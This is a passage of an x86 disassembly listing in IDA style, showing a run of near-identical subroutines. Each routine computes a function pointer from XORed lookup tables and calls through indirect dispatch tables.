var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F9h
		mov	[ebp+var_2C], 60h
		mov	[ebp+var_28], 0E6h
		mov	[ebp+var_24], 6Fh
		mov	[ebp+var_20], 89h
		mov	[ebp+var_1C], 2Eh
		mov	[ebp+var_18], 0A8h
		mov	[ebp+var_14], 3Ch
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0B26
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0B26:				; CODE XREF: sub_4B0A98+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B0A98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B0B92	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBA4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F0h
		mov	[ebp+var_2C], 0EAh
		mov	[ebp+var_28], 1Bh
		mov	[ebp+var_24], 15h
		mov	[ebp+var_20], 8Ch
		mov	[ebp+var_1C], 84h
		mov	[ebp+var_18], 0A7h
		mov	[ebp+var_14], 45h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0C23
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0C23:				; CODE XREF: sub_4B0B92+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B0B92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B0C8F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBA8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Dh
		mov	[ebp+var_2C], 8
		mov	[ebp+var_28], 13h
		mov	[ebp+var_24], 0E5h
		mov	[ebp+var_20], 34h
		mov	[ebp+var_1C], 64h
		mov	[ebp+var_18], 13h
		mov	[ebp+var_14], 63h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0D20
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0D20:				; CODE XREF: sub_4B0C8F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B0C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B0D8C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBACo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 71h
		mov	[ebp+var_2C], 7Ch
		mov	[ebp+var_28], 0E5h
		mov	[ebp+var_24], 57h
		mov	[ebp+var_20], 0Eh
		mov	[ebp+var_1C], 0E0h
		mov	[ebp+var_18], 31h
		mov	[ebp+var_14], 31h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0E1D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0E1D:				; CODE XREF: sub_4B0D8C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B0D8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B0E89	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBB0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0BDh
		mov	[ebp+var_2C], 0Bh
		mov	[ebp+var_28], 0A6h
		mov	[ebp+var_24], 0E9h
		mov	[ebp+var_20], 42h
		mov	[ebp+var_1C], 6Dh
		mov	[ebp+var_18], 73h
		mov	[ebp+var_14], 2Ah
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0F1A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0F1A:				; CODE XREF: sub_4B0E89+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B0E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B0F86	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBB4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 2
		mov	[ebp+var_2C], 7
		mov	[ebp+var_28], 0EEh
		mov	[ebp+var_24], 0F4h
		mov	[ebp+var_20], 0F6h
		mov	[ebp+var_1C], 0E9h
		mov	[ebp+var_18], 0EDh
		mov	[ebp+var_14], 55h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1017
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1017:				; CODE XREF: sub_4B0F86+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B0F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1083	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBB8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 77h
		mov	[ebp+var_2C], 0D4h
		mov	[ebp+var_28], 5Ah
		mov	[ebp+var_24], 0E5h
		mov	[ebp+var_20], 1Bh
		mov	[ebp+var_1C], 86h
		mov	[ebp+var_18], 7Bh
		mov	[ebp+var_14], 15h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1114
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1114:				; CODE XREF: sub_4B1083+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1083	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1180	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBBCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D4h
		mov	[ebp+var_2C], 0D5h
		mov	[ebp+var_28], 54h
		mov	[ebp+var_24], 0BCh
		mov	[ebp+var_20], 0AFh
		mov	[ebp+var_1C], 0D3h
		mov	[ebp+var_18], 91h
		mov	[ebp+var_14], 0C8h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1211
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1211:				; CODE XREF: sub_4B1180+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B127D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBC0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Ah
		mov	[ebp+var_2C], 78h
		mov	[ebp+var_28], 0E3h
		mov	[ebp+var_24], 46h
		mov	[ebp+var_20], 0E2h
		mov	[ebp+var_1C], 23h
		mov	[ebp+var_18], 6Ch
		mov	[ebp+var_14], 0A7h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B130E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B130E:				; CODE XREF: sub_4B127D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B127D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B137A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBC4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C1h
		mov	[ebp+var_2C], 0F9h
		mov	[ebp+var_28], 73h
		mov	[ebp+var_24], 0D9h
		mov	[ebp+var_20], 12h
		mov	[ebp+var_1C], 0B5h
		mov	[ebp+var_18], 57h
		mov	[ebp+var_14], 9Bh
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B140B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B140B:				; CODE XREF: sub_4B137A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1477	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBC8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E2h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 0Eh
		mov	[ebp+var_24], 87h
		mov	[ebp+var_20], 0C4h
		mov	[ebp+var_1C], 0EDh
		mov	[ebp+var_18], 0C1h
		mov	[ebp+var_14], 0AEh
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1508
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1508:				; CODE XREF: sub_4B1477+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
